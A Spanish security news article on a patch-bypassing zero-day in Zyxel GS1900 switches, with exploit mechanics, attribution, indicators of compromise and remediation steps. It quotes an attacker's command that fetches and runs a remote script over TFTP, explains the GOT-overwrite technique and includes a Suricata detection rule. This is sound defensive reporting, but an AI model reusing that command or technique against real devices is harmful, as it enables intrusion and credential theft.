Ilustración abstracta de pintura fluida en tonos rojo, naranja y crema para la noticia: El zero-day de los switches Zyxel GS1900 sobrevivió al parche de junio

Vulnerabilidades

El zero-day de los switches Zyxel GS1900 sobrevivió al parche de junio

Binarly demuestra que el firmware de junio de los switches Zyxel GS1900 no frenaba el exploit que vació 996 equipos y Zyxel ya tiene parche nuevo.

«Advisories and version numbers certainly help, but they cannot be blindly trusted» (los avisos y los números de versión ayudan, pero no se puede confiar en ellos a ciegas). Con esa frase cierra Binarly el informe, publicado el 3 de noviembre de 2026, en el que demuestra que los diez firmwares que Zyxel sacó en junio para tapar CVE-2026-7273 en sus switches GS1900 seguían cayendo ante el mismo exploit que en agosto vació la configuración de 996 equipos en 48 países. El fallo que de verdad usaba el atacante tiene ahora identificador propio, CVE-2026-107441, y firmware corregido desde el 22 de octubre, pero durante cuatro meses quien actualizó creyó estar protegido y no lo estaba.

  • El exploit usado desde el 17 de agosto de 2026 contra switches Zyxel GS1900 atacaba CVE-2026-107441, un fallo distinto del CVE-2026-7273 que Zyxel parcheó en junio y que CISA metió en KEV en septiembre.
  • Los diez firmwares 2.90 Patch 2 de junio siguen siendo vulnerables. La corrección está en 2.90(xxxx.3)C0, publicado el 22 de octubre, y Zyxel no ofrece mitigación por configuración.
  • GreyNoise contó 996 switches con la configuración y los hashes de root copiados en 48 países, 17 de ellos en España, y 564 con la contraseña de fábrica.
  • Quien tuviera la interfaz web alcanzable desde agosto debe actualizar, rotar las credenciales y secretos guardados en el switch y buscar los indicadores de Binarly y GreyNoise.

El post de Binarly en X, publicado el mismo 3 de noviembre en que Zyxel sacó su aviso, resume el problema en dos líneas: el exploit visto contra los GS1900 se vinculó a CVE-2026-7273, ese CVE entró en el catálogo KEV, y el parche no lo detenía.

Un POST de 1.174 bytes a dispatcher.cgi que convierte strcmp en system

Los GS1900 son switches gestionables de 8 a 48 puertos con CPU MIPS y un servidor web Boa. Las peticiones POST de la interfaz de administración las atiende el programa dispatcher.cgi, y lo primero que hace su función principal es llamar a web_util_initParaPairs, la rutina que trocea el cuerpo de la petición por cada carácter & y copia cada pareja parámetro=valor en un búfer global llamado reqParameters. Ese búfer vive en la sección .bss, mide 0x23000 bytes y está pensado para 140 entradas de 1.024 bytes. Según el análisis técnico de Binarly, la copia no comprueba el tamaño de cada parámetro ni cuántos lleva ya contados, y justo detrás del búfer está la variable count que lleva esa cuenta:

.bss:10003BC0 reqParameters:  .space 0x23000
.bss:10026BC0 count:          .space 4

El exploit que encontró Binarly explota esa vecindad. Envía un POST de 1.174 bytes cuyo primer parámetro es el comando a ejecutar, seguido de 139 caracteres & vacíos y de un parámetro número 140 de 1.024 letras B más un entero de 32 bits. Al copiar ese parámetro en la última ranura, los cuatro bytes sobrantes pisan count. Cuando la rutina procesa el último parámetro, el que lleva la dirección de system, multiplica el contador corrupto por 1.024, el resultado desborda como entero con signo y la escritura aterriza antes del inicio de reqParameters, en la tabla GOT del proceso. Lo que se sobrescribe es la entrada de strcmp.

Mapa de memoria de dispatcher.cgi del Zyxel GS1900 en IDA con las secciones .got y .bss contiguas que aprovecha el exploit
Fuente: Binarly, «New Zyxel GS1900 pre-auth RCE vulnerability revealed»

El mapa de memoria que publica Binarly muestra por qué funciona el salto: la sección .got está a unos pocos kilobytes por debajo de .bss en el mismo binario, y el atacante elige el valor del contador para que la escritura caiga en ella. A partir de ahí, la primera vez que dispatcher.cgi busca un parámetro con web_util_paramVal_ret llama a strcmp sobre la ranura cero, donde está el comando, y en realidad ejecuta system con él. El proceso corre como root, así que el comando también. No hace falta sesión ni credenciales, y Binarly comprobó la ejecución en firmware emulado y en hardware real.

El exploit tiene un segundo modo para cuando no conoce las direcciones: en lugar de la GOT corrompe los registros guardados en la pila y encadena un gadget de uClibc para llamar a system, a costa de unos 2.048 intentos de media contra el ASLR del equipo. Trae una tabla con las direcciones de 21 versiones del firmware del GS1900-24, desde la 2.10 de septiembre de 2015 hasta la 2.90(AAHL.2)C0 que Zyxel publicó el 12 de junio de 2026 como corrección de CVE-2026-7273. Ese detalle fue la primera pista de que algo no cuadraba.

Por qué el Patch 2 de junio comprobaba el contador después de desbordarlo

Zyxel publicó el 16 de junio de 2026 el aviso de CVE-2026-7273, un fallo que atribuye a Lei Gu, Jun Cao, Zhiqing Rui, Jingzheng Wu y Tianyue Luo, del ISCAS, y que describe como un desbordamiento de búfer en pila. Binarly comparó los binarios de dispatcher.cgi de la versión 2.90(Axxx.1)C0 y de la 2.90(Axxx.2)C0 y encontró dos cambios. El primero sustituye varias llamadas a sprintf por snprintf, entre ellas dos en la función principal que escriben un nombre de fichero temporal con el parámetro authId.

Comparación del main de dispatcher.cgi entre el firmware 2.90 Patch 1 y Patch 2 de Zyxel GS1900 con sprintf sustituido por snprintf
Fuente: Binarly, «New Zyxel GS1900 pre-auth RCE vulnerability revealed»

La comparación de Binarly muestra ese cambio a izquierda y derecha. Es un arreglo real, porque name es un búfer de 64 bytes en la pila y authId lo controla el atacante, pero no tiene relación con lo que hace el exploit. El segundo cambio añade dos comprobaciones a web_util_initParaPairs: una sale del bucle cuando el contador llega a 140 y otra lo recorta a 140 si lo supera. Las dos llegan tarde. La copia sin límite de tamaño sobre la ranura 139 ocurre antes de la comprobación, así que cuando el código pregunta por el contador este ya contiene el valor que mandó el atacante, la igualdad no se cumple y el bloque que procesa el último parámetro escribe donde el exploit quiere. El exploit funciona sin tocar una línea contra las diez versiones parcheadas.

Binarly lo probó el 28 de septiembre y avisó al PSIRT de Zyxel el 29. El fabricante respondió que CVE-2026-7273 trataba del desbordamiento de reqParameters por la falta de validación del contador, pese a que su aviso hablaba de la pila, y que la falta de comprobación del tamaño de cada parámetro era un fallo distinto. El 11 de octubre lo confirmó y reservó CVE-2026-107441. El 22 de octubre publicó el firmware 2.90(Axxx.3)C0, que comprueba el contador antes de copiar y limita cada campo a 511 bytes, y el 3 de noviembre, el aviso de CVE-2026-107441, que agradece el hallazgo a Yegor Vasilenko y Fernando Mercês, de Binarly. Como en el caso del GitLab de Alpine Linux que contamos en octubre, el número de versión decía parcheado y el binario decía lo contrario.

Dato

Valor

CVE

CVE-2026-107441

CVSS 3.1 (Zyxel y NVD)

8,8 alta (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS 3.1 (Binarly)

9,8 crítica (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Producto

Switches Zyxel GS1900 (10 modelos, del GS1900-8 al GS1900-48HPv2), programa dispatcher.cgi

Versiones afectadas

Firmware 2.90(xxxx.2)C0 y anteriores, incluido el Patch 2 de junio de 2026

Versiones corregidas

Firmware 2.90(xxxx.3)C0 (Patch 3), publicado el 22 de octubre de 2026

Explotación activa

Sí, exploit en uso desde el 17 de agosto de 2026 según GreyNoise y Binarly. No estaba en KEV a las 20:00 UTC del 4 de noviembre. CVE-2026-7273, el CVE al que se atribuyó, está en KEV desde el 21 de septiembre

Gravedad

Alta según Zyxel, crítica según Binarly

Las dos puntuaciones salen de leer el vector de forma distinta. Zyxel y NVD, que a las 13:00 UTC del 5 de noviembre mostraba el CVE en estado de espera de análisis con la puntuación del fabricante, lo marcan como ataque desde red adyacente, es decir, desde la LAN. El aviso BRLY-2026-057 sostiene que «an attacker only needs network reachability to the management service» (un atacante solo necesita alcanzar por red el servicio de gestión), porque el exploit va por HTTP y no exige adyacencia de protocolo, y por eso lo eleva a 9,8. Para quien tenga la interfaz web del switch accesible desde fuera de la VLAN de gestión, la lectura de Binarly es la que cuenta.

996 switches en 48 países, 17 en España y 564 con la contraseña de fábrica

La explotación la documentó GreyNoise el 21 de septiembre en su informe sobre Kapibala, el nombre con el que sigue a un único actor activo desde el 7 de mayo de 2026, que la empresa describe como probable hablante de chino en horario UTC+8 por los comentarios de sus herramientas. Hacia el 17 de agosto, ese actor lanzó contra los GS1900 un script de Python ofuscado con PyArmor que GreyNoise pudo desofuscar porque el atacante dejó en el paquete un runtime anclado a PyArmor 6.7.5, de 2021. El script apunta a las versiones 2.10 a 2.90 del GS1900-24 y, en los equipos donde entraba, usaba el exploit para lanzar este comando:

sh -c tftp -gr c -l /1 <REDACTED> 6969;/bin/sh /1

GreyNoise recoge en su informe esa línea, que descarga por TFTP un script recolector desde la infraestructura del atacante y lo ejecuta. El recolector copia la salida a /home/web/tmp/info.txt, una ruta servida por el propio servidor web del switch, y el atacante la recupera después por HTTP. Lo que se llevó de cada equipo fue la configuración, la información de red y las credenciales de root en forma de hash. GreyNoise añade que «564 of the victims had factory default credentials» (564 de las víctimas tenían las credenciales de fábrica), con lo que el hash daba igual.

Cronología de GreyNoise con las diez tecnologías explotadas por Kapibala en 2026, entre ellas los Zyxel GS1900 el 17 de agosto
Fuente: GreyNoise, «Open Season on Kapibala: Attacker Steals Over 18,000 Government Records Through WordPress Exploitation»

La cronología de GreyNoise sitúa a los GS1900 en medio de una racha de diez tecnologías atacadas por el mismo actor entre junio y septiembre, de PAN-OS GlobalProtect a Proxmox VE, con Gitea el 30 de julio y WordPress el 20 de julio. Es la misma pauta de explotación poco después del parche que vimos con el Node-RED de los Siemens IoT2050 hace dos días, salvo que aquí el parche no cerraba nada.

Gráfico de barras con los switches Zyxel GS1900 explotados por país en agosto de 2026 según GreyNoise, con España en 17
Elaboración propia con datos de GreyNoise

Italia, Estados Unidos y Taiwán concentran 385 de los 996 switches. España aparece con 17 en la tabla de GreyNoise, por detrás de Alemania, Finlandia e Irlanda, con 18 cada una. Son equipos a los que el atacante llegó por HTTP, así que tenían la interfaz de gestión alcanzable desde donde él estaba, y 564 de los 996 conservaban la contraseña con la que salieron de la caja, el mismo problema que dejó abiertos los controladores de frío de los supermercados este mes. A las 13:00 UTC del 5 de noviembre no habíamos localizado ningún recuento público de GS1900 expuestos en Shodan, Censys ni Shadowserver, así que los 996 de GreyNoise son la única cifra disponible y describen explotación observada, no el total de equipos alcanzables.

En España, INCIBE-CERT publicó el 16 de junio un aviso de importancia alta para CVE-2026-7273 que remite a las versiones .2, las que no protegen de este exploit. Su ficha de CVE-2026-107441, fechada el 3 de noviembre, seguía pendiente de traducción cuando escribimos esta noticia y no había aviso propio para el nuevo fallo.

De Gitea a los GS1900, el servidor abierto de Red Heron donde apareció exp.py

Binarly no buscaba un fallo de Zyxel. El 13 de septiembre, Acronis Threat Research Unit publicó el informe sobre Red Heron, un grupo que explotó CVE-2026-60004 en servidores Gitea dos días después del parche del 27 de julio para robar repositorios y dejar en las víctimas el backdoor JITTERLY, un implante Linux en C++ con más de 30 comandos, y SIXZUT, un rootkit LD_PRELOAD que oculta ficheros, procesos y conexiones. Acronis valora, con confianza moderada, que Red Heron opera en un contexto vinculado a la República Popular China, por el material operativo en chino simplificado y por sus objetivos, y no lo vincula a ningún grupo ya conocido. GreyNoise considera que Kapibala es el mismo actor o uno relacionado, por el dominio de mando y control compartido, la familia de malware y la explotación de Gitea en julio.

Listado del directorio abierto del servidor de Red Heron documentado por Acronis con el implante JITTERLY agent.elf y los exploits de Gitea
Fuente: Acronis Threat Research Unit, «Red Heron exploits Gitea n-day flaw in multinational campaign, exposing new Linux rootkit»

La captura de Acronis muestra el servidor de staging del grupo con el implante agent.elf, los exploits de Gitea y los listados de objetivos a la vista de cualquiera. Binarly quería esas muestras para añadir detecciones a su plataforma y, al analizarlas, vio que las versiones recientes de JITTERLY descifran su configuración de un blob AES y que todas apuntan a subdominios de 981666[.]xyz. Recorrió esos hostnames y, en el puerto 18081 de p2.981666[.]xyz, el mismo servidor que hacía de C2 en el 8080, encontró un directorio abierto con el fichero gs1900_bundle.tar.gz: el exploit exp.py con su runtime de PyArmor y el bytecode de ejecuciones anteriores. Eso ocurrió antes de que GreyNoise publicara su informe el 21 de septiembre.

Binarly y GreyNoise coinciden en otro punto. GreyNoise observó entre iteraciones de las herramientas del actor cambios superficiales que un humano no haría y que apuntan a código generado por un modelo de lenguaje, y Binarly escribe que «we believe the exploit is LLM-generated» (creemos que el exploit lo ha generado un LLM). Que un actor con herramientas de este nivel se dedique a switches de pyme encaja con lo que ya vimos con KeyDrift en los controladores de Cisco SD-WAN: el equipo de red que nadie monitoriza es el punto de apoyo más barato. Los indicadores que publican Binarly y GreyNoise para esta infraestructura son estos:

Tipo

Valor

Contexto

dominio

*.981666.xyz

Mando y control de JITTERLY, según GreyNoise

dominio

p2.981666[.]xyz

C2 de JITTERLY en el puerto 8080 y directorio abierto con gs1900_bundle.tar.gz en el 18081, según Binarly

IP

104.223.65[.]148

Dirección de p2.981666[.]xyz, según Binarly

dominio

s2.981666[.]xyz

C2 de JITTERLY en los puertos 5432, 6379 y 8082, según Binarly

IP

104.225.153.141

C2, según GreyNoise

dominio

s7.981666[.]xyz

C2 de JITTERLY en el puerto 443, según Binarly

IP

166.88.227[.]181

Dirección de s7.981666[.]xyz, según Binarly

dominio

s0.981666[.]xyz

Panel de administración SoybeanAdmin y SSH, según Binarly

IP

74.48.66.73

Servidor de staging del atacante, según GreyNoise

hash SHA-256

82d072ab03d90c0131b06a576eadf2c986a51f0de986d50db4e49be01bf125cb

Muestra de JITTERLY que conecta con p1.981666[.]xyz:6443, según Binarly

hash SHA-256

663a8088faca8e126a11648f5671fcf4eaf96435e10daf63a1d1b17d8385154c

Muestra de JITTERLY que conecta con p2.981666[.]xyz:8080, según Binarly

hash SHA-256

0f6e757e82c4d91df5bd249f775b9970b59dee42cc0dfe40f879d77fc16821c6

Muestra de JITTERLY que conecta con s2.981666[.]xyz:8082, según Binarly y GreyNoise

hash SHA-256

0e81d80b40eaacbf6cb1e817fb1824c30a824af5cb4faca4aa9b03fd506d480f

Backdoor, según GreyNoise

hash SHA-256

2ff2945b13a4cd0e9a65c85af29ea1539e162a516466c0de682dbf9f8a4000b1

Backdoor, según GreyNoise

hash SHA-256

295133156b6a7d95b9c92f832f49e35235f1fbd3906e75c9202ef4cd65d1018c

Rootkit SIXZUT embebido en JITTERLY, según Binarly

hash SHA-256

64677002011bc2e4bc642a4154a20fdb95620ebd0144b98fc60f917901ec8b92

Rootkit SIXZUT embebido en JITTERLY, según Binarly

hash SHA-256

728810b07e911b235f6450e784391e39f68819a0a5d209662162916ffea25146

Rootkit SIXZUT que oculta el proceso configd, según Binarly

ruta de archivo

/home/web/tmp/info.txt

Salida del recolector en el switch, lista para su descarga por HTTP, según GreyNoise

ruta de archivo

/cgi-bin/dispatcher.cgi

Endpoint del switch al que va el POST del exploit, según Binarly

Binarly ha publicado reglas para su plataforma que detectan JITTERLY y SIXZUT, y los indicadores de detección de APT que tratamos en el blog siguen valiendo para buscar un rootkit LD_PRELOAD en los servidores Linux que cuelgan de estos switches.

Subir al Patch 3 y rotar las credenciales que ya salieron del switch

Zyxel no ofrece ninguna mitigación por configuración para CVE-2026-107441, y el exploit no necesita sesión. Las notas de la versión 2.90 Patch 3, publicadas en la comunidad de Zyxel el 23 de octubre, solo traen una corrección, la de este fallo, y cubren los diez modelos más la revisión B1 del GS1900-8HP.

La tabla del aviso de Zyxel es la referencia para comprobar cada equipo: cualquier GS1900 que muestre un firmware 2.90 con sufijo .2 o anterior sigue vulnerable, incluido el que se actualizó en junio. Quien no pueda actualizar hoy puede vigilar el tráfico hacia la interfaz web con una regla como esta, que hemos escrito a partir de la estructura del payload que describe Binarly y que busca un POST a dispatcher.cgi con una ristra de más de treinta parámetros vacíos seguidos:

alert http any any -> $HOME_NET any (msg:"Zyxel GS1900 dispatcher.cgi parameter table overflow attempt"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/cgi-bin/dispatcher.cgi"; http.request_body; content:"&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&"; classtype:attempted-admin; sid:9002026; rev:1;)

Conviene probarla en el propio entorno antes de confiar en ella, porque el modo pila del exploit intercala el comando entre los separadores. El orden de trabajo que proponemos es este:

  1. Actualiza cada GS1900 al firmware 2.90(xxxx.3)C0 de su modelo desde las notas de versión de Zyxel y comprueba en el panel que la versión instalada lleva el sufijo .3.
  2. Si la interfaz web del switch ha sido alcanzable desde internet o desde una red de usuarios en algún momento desde el 17 de agosto, da por copiada su configuración: cambia la contraseña de administración, las comunidades SNMP y cualquier secreto RADIUS, TACACS+ o de VPN que estuviera guardado en el equipo, y vuelve a generar los certificados que tuviera cargados.
  3. Si el switch seguía con las credenciales de fábrica, trata como comprometidos los equipos de la misma VLAN de gestión y busca en ellos los indicadores de la tabla anterior, en especial conexiones hacia 981666[.]xyz y procesos con nombre configd.
  4. Revisa en el switch los cambios de configuración, los usuarios nuevos y los reinicios no previstos desde agosto, y conserva una copia de la configuración actual antes de reflashear. La ausencia de registros no demuestra que el equipo esté limpio, porque el recolector dejaba su salida en /home/web/tmp y el firmware no audita esa ruta.
  5. Saca la interfaz de gestión de cualquier red de usuarios o de invitados, déjala en una VLAN propia alcanzable solo desde las estaciones de administración y desactiva la gestión remota por WAN, que es lo que vuelve aplicable el vector de red que describe Binarly.
  6. Si encuentras indicios de intrusión, avisa a INCIBE-CERT desde una empresa o como particular, o al CCN-CERT desde un organismo público, y guarda el equipo sin reiniciar hasta que alguien pueda volcar la memoria.
Tabla del aviso de Zyxel del 3 de noviembre de 2026 con los diez modelos GS1900 afectados por CVE-2026-107441 y su firmware corregido
Fuente: Zyxel, «Zyxel security advisory for out-of-bounds write vulnerability in GS1900 series switches»

La tabla del aviso de Zyxel, capturada el 5 de noviembre, es la lista de comprobación: diez modelos, un sufijo .3 por cada uno y ninguna excepción para los que se actualizaron en junio.

Las recomendaciones de ciberseguridad en IoT que publicamos en el blog siguen siendo el punto de partida para el inventario de estos equipos: saber cuántos GS1900 hay en la red y qué firmware llevan es la mitad del trabajo de esta semana.

Un CVE que CISA asoció a un exploit que no era el suyo

CISA incluyó CVE-2026-7273 en su catálogo KEV el 21 de septiembre, el mismo día del informe de GreyNoise, con plazo hasta el 24 de septiembre para las agencias federales. Esa entrada remitía al aviso de Zyxel de junio y, por tanto, a un firmware que el atacante seguía explotando. A las 20:00 UTC del 4 de noviembre, última actualización del catálogo que hemos consultado, CVE-2026-107441 no figuraba en KEV y el registro en NVD solo recogía la puntuación de Zyxel. El aviso del fabricante tampoco dice que el fallo se haya explotado, y Binarly plantea dos lecturas: o el parche de junio era incorrecto y con él la descripción y el CVSS de CVE-2026-7273, o corregía otra cosa y la explotación que documentó GreyNoise nunca fue la de ese CVE. En las dos, los diez firmwares que se vendían como corrección eran vulnerables.

Hemos visto este patrón dos veces en un mes. El firewall ASA de Cisco actualizado en agosto volvió a ser vulnerable en octubre por un fallo hermano, y el de FortiOS que entró en KEV se explotaba con un implante que el aviso original no mencionaba. La diferencia con Zyxel es que aquí el parche nunca llegó a frenar al atacante ni un día, y que la confirmación de que el CVE correcto es otro ha llegado 78 días después de las primeras intrusiones. Mientras CISA no mueva ficha, el calendario de parcheo de muchas organizaciones seguirá marcando como cerrado un fallo que solo se cierra con el firmware del 22 de octubre, y el actor que ya tiene las configuraciones de 996 switches no necesita que nadie le avise de la diferencia.

Temas

No hay comentarios todavía